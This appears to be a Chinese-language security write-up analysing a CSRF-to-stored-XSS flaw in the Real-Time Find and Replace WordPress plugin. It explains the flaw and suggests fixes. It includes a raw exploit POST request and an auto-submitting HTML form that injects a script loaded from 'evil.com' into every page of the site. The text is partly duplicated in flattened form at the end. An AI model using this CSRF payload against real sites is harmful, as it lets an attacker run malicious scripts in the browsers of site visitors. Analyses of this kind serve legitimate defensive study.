WordPress Real-Time Find and Replace插件CSRF to Stored XSS漏洞分析
字数 1019 2025-08-25 22:58:35

WordPress Real-Time Find and Replace插件CSRF to Stored XSS漏洞分析

漏洞概述

Real-Time Find and Replace是一个WordPress插件,用于实时查找和替换网站页面内容。该插件在3.9版本中存在一个严重的安全漏洞,允许攻击者通过跨站请求伪造(CSRF)攻击实现存储型XSS(Stored XSS)。据统计,该插件安装在超过100,000个WordPress站点上。

漏洞原理

核心问题

插件核心功能模块没有使用随机数(nonce)来校验请求的合法性,导致存在CSRF漏洞。攻击者可利用此漏洞,通过诱骗管理员点击恶意链接,使用恶意代码替换目标站点页面上的任何内容。

技术细节

插件注册机制

插件通过add_submenu_page()函数在WordPress后台的"工具"菜单下添加子菜单:

add_submenu_page(
    'tools.php',              // 父菜单slug
    'Real-Time Find and Replace', // 页面标题
    'Real-Time Find and Replace', // 菜单标题
    'manage_options',         // 所需权限
    'real-time-find-and-replace', // 菜单slug
    'far_options_page'        // 输出页面内容的函数
);

插件工作流程

  1. 插件使用add_actionfar_template_redirect函数连接到template_redirect钩子:

    add_action('template_redirect', 'far_template_redirect');
    
  2. far_template_redirect函数使用输出缓冲技术修改页面内容:

    function far_template_redirect() {
        ob_start('far_ob_call');
    }
    
  3. far_ob_call函数执行实际的查找和替换操作:

    function far_ob_call($buffer) {
        // 执行查找替换逻辑
        return $modified_buffer;
    }
    

漏洞点分析

插件管理页面提供了全局搜索与替换功能,但处理替换请求时没有验证CSRF token。攻击者可以构造恶意请求,如:

POST /wp-admin/tools.php?page=real-time-find-and-replace HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

find=<head>&replace=<head><script>alert('XSS')</script>

由于没有CSRF防护,管理员在访问恶意页面时可能无意中触发此请求,导致XSS代码被存储到网站所有页面中。

漏洞利用

利用步骤

  1. 攻击者构造恶意HTML页面,包含自动提交的表单或AJAX请求
  2. 诱骗已登录的管理员访问该恶意页面
  3. 恶意请求被发送到目标WordPress站点
  4. 查找替换规则被修改,注入恶意代码
  5. 所有访问网站的用户都会执行恶意JavaScript代码

利用示例

<html>
  <body>
    <form action="http://target.com/wp-admin/tools.php?page=real-time-find-and-replace" method="POST">
      <input type="hidden" name="find" value="<head>" />
      <input type="hidden" name="replace" value="<head><script src='http://evil.com/malicious.js'></script>" />
      <input type="submit" value="Click here for free gift!" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

修复建议

  1. 添加CSRF防护:在处理表单提交时验证WordPress nonce

    function far_options_page() {
        // 生成nonce字段
        wp_nonce_field('far_update_rules');
    
        // 表单处理代码
        if (isset($_POST['find']) && check_admin_referer('far_update_rules')) {
            // 安全处理逻辑
        }
    }
    
  2. 输入验证:对用户提交的查找和替换内容进行严格过滤

  3. 权限检查:确保只有管理员可以执行敏感操作

  4. 输出编码:对替换内容进行适当的HTML编码

总结

该漏洞展示了CSRF如何升级为存储型XSS的典型案例。开发者应始终:

  • 为所有敏感操作实现CSRF防护
  • 遵循最小权限原则
  • 实施严格的输入验证和输出编码
  • 定期进行安全审计

此漏洞影响广泛,所有使用受影响版本插件的WordPress站点都应立即更新或采取防护措施。

WordPress Real-Time Find and Replace插件CSRF to Stored XSS漏洞分析 漏洞概述 Real-Time Find and Replace是一个WordPress插件,用于实时查找和替换网站页面内容。该插件在3.9版本中存在一个严重的安全漏洞,允许攻击者通过跨站请求伪造(CSRF)攻击实现存储型XSS(Stored XSS)。据统计,该插件安装在超过100,000个WordPress站点上。 漏洞原理 核心问题 插件核心功能模块没有使用随机数(nonce)来校验请求的合法性,导致存在CSRF漏洞。攻击者可利用此漏洞,通过诱骗管理员点击恶意链接,使用恶意代码替换目标站点页面上的任何内容。 技术细节 插件注册机制 插件通过 add_submenu_page() 函数在WordPress后台的"工具"菜单下添加子菜单: 插件工作流程 插件使用 add_action 将 far_template_redirect 函数连接到 template_redirect 钩子: far_template_redirect 函数使用输出缓冲技术修改页面内容: far_ob_call 函数执行实际的查找和替换操作: 漏洞点分析 插件管理页面提供了全局搜索与替换功能,但处理替换请求时没有验证CSRF token。攻击者可以构造恶意请求,如: 由于没有CSRF防护,管理员在访问恶意页面时可能无意中触发此请求,导致XSS代码被存储到网站所有页面中。 漏洞利用 利用步骤 攻击者构造恶意HTML页面,包含自动提交的表单或AJAX请求 诱骗已登录的管理员访问该恶意页面 恶意请求被发送到目标WordPress站点 查找替换规则被修改,注入恶意代码 所有访问网站的用户都会执行恶意JavaScript代码 利用示例 修复建议 添加CSRF防护 :在处理表单提交时验证WordPress nonce 输入验证 :对用户提交的查找和替换内容进行严格过滤 权限检查 :确保只有管理员可以执行敏感操作 输出编码 :对替换内容进行适当的HTML编码 总结 该漏洞展示了CSRF如何升级为存储型XSS的典型案例。开发者应始终: 为所有敏感操作实现CSRF防护 遵循最小权限原则 实施严格的输入验证和输出编码 定期进行安全审计 此漏洞影响广泛,所有使用受影响版本插件的WordPress站点都应立即更新或采取防护措施。